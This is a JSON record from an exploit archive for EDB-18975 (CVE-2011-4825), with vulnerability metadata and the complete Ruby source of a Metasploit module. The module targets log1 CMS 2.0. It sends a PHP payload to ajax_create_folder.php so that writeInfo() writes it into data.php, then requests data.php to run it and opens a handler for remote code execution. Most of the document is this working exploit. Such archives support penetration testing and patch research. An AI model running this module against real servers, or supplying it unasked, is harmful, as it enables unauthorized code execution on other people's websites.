{"exploit":{"id":"EDB-18975","name":"Log1 CMS - 'writeInfo()' PHP Code Injection (Metasploit)","description":"Log1 CMS - 'writeInfo()' PHP Code Injection (Metasploit)","cves":["CVE-2011-4825"],"author":"Metasploit","published":"2012-06-03","platform":"php","type":"webapps","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/18975","path":"exploits/php/webapps/18975.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-18975.rb","vulnerabilities":[{"id":"CVE-2011-4825","state":"PUBLISHED","title":null,"titleSource":null,"description":"Static code injection vulnerability in inc/function.base.php in Ajax File and Image Manager before 1.1, as used in tinymce before 1.4.2, phpMyFAQ 2.6 before 2.6.19 and 2.7 before 2.7.1, and possibly other products, allows remote attackers to inject arbitrary PHP code into data.php via crafted parameters.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-4825","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-4825"},"updatedAt":"2024-09-17T00:46:26.904Z","retrievedAt":"2026-11-27T18:11:13.844Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-18975.png?v=2","url":"https://exploitbin.com/exploits/EDB-18975","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-18975/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-18975/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n#   http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = ExcellentRanking\n\n\tinclude Msf::Exploit::Remote::HttpClient\n\n\tdef initialize(info={})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => \"Log1 CMS writeInfo() PHP Code Injection\",\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits the \"Ajax File and Image Manager\" component that can be\n\t\t\t\tfound in log1 CMS.  In function.base.php of this component, the 'data' parameter\n\t\t\t\tin writeInfo() allows any malicious user to have direct control of writing data\n\t\t\t\tto file data.php, which results in arbitrary remote code execution.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'EgiX',     #Found the bug in ajax_create_folder.php\n\t\t\t\t\t'Adel SBM', #Found log1 CMS using the vulnerable ajax_create_folder.php\n\t\t\t\t\t'sinn3r'    #Metasploit\n\t\t\t\t],\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t['CVE', '2011-4825'],\n\t\t\t\t\t['OSVDB', '76928'],\n\t\t\t\t\t['EDB', '18075'],  #Egix's advisory\n\t\t\t\t\t['EDB', '18151']   #Adel's\n\t\t\t\t],\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'BadChars' => \"\\x00\"\n\t\t\t\t},\n\t\t\t'DefaultOptions'  =>\n\t\t\t\t{\n\t\t\t\t\t'ExitFunction' => \"none\"\n\t\t\t\t},\n\t\t\t'Platform'       => 'php',\n\t\t\t'Arch'           => ARCH_PHP,\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t['log1 CMS 2.0', {}],\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'DisclosureDate' => \"Apr 11 2011\",\n\t\t\t'DefaultTarget'  => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptString.new('TARGETURI', [true, 'The base path to log1 CMS', '/log1cms2.0/'])\n\t\t\t], self.class)\n\tend\n\n\n\tdef check\n\t\turi = target_uri.path\n\t\turi << '/' if uri[-1, 1] != '/'\n\n\t\tres = send_request_raw({\n\t\t\t'method' => 'GET',\n\t\t\t'uri'    => \"#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php\"\n\t\t})\n\n\t\tif res and res.code == 200\n\t\t\treturn Exploit::CheckCode::Detected\n\t\telse\n\t\t\treturn Exploit::CheckCode::Safe\n\t\tend\n\tend\n\n\n\tdef exploit\n\t\turi = target_uri.path\n\t\turi << '/' if uri[-1, 1] != '/'\n\n\t\tpeer = \"#{rhost}:#{rport}\"\n\t\tphp = %Q|#{rand_text_alpha(10)}=<?php #{payload.encoded} ?>|\n\n\t\tprint_status(\"#{peer} - Sending PHP payload (#{php.length.to_s} bytes)\")\n\t\tsend_request_cgi({\n\t\t\t'method' => 'POST',\n\t\t\t'uri'    => \"#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php\",\n\t\t\t'data'   => php\n\t\t})\n\n\t\tprint_status(\"#{peer} - Requesting data.php\")\n\t\tsend_request_raw({\n\t\t\t'method' => 'GET',\n\t\t\t'uri'    => \"#{uri}admin/libraries/ajaxfilemanager/inc/data.php\"\n\t\t})\n\n\t\thandler\n\tend\nend","sha256":"5f8de96e6ea32234373a0a7a5100ed196a91a7eb2302465bc03aeaa9b7bfff70","bytes":2641,"fetchedAt":"2026-11-27T18:11:13.666Z","encoding":"utf-8 (display only; download retains original bytes)"}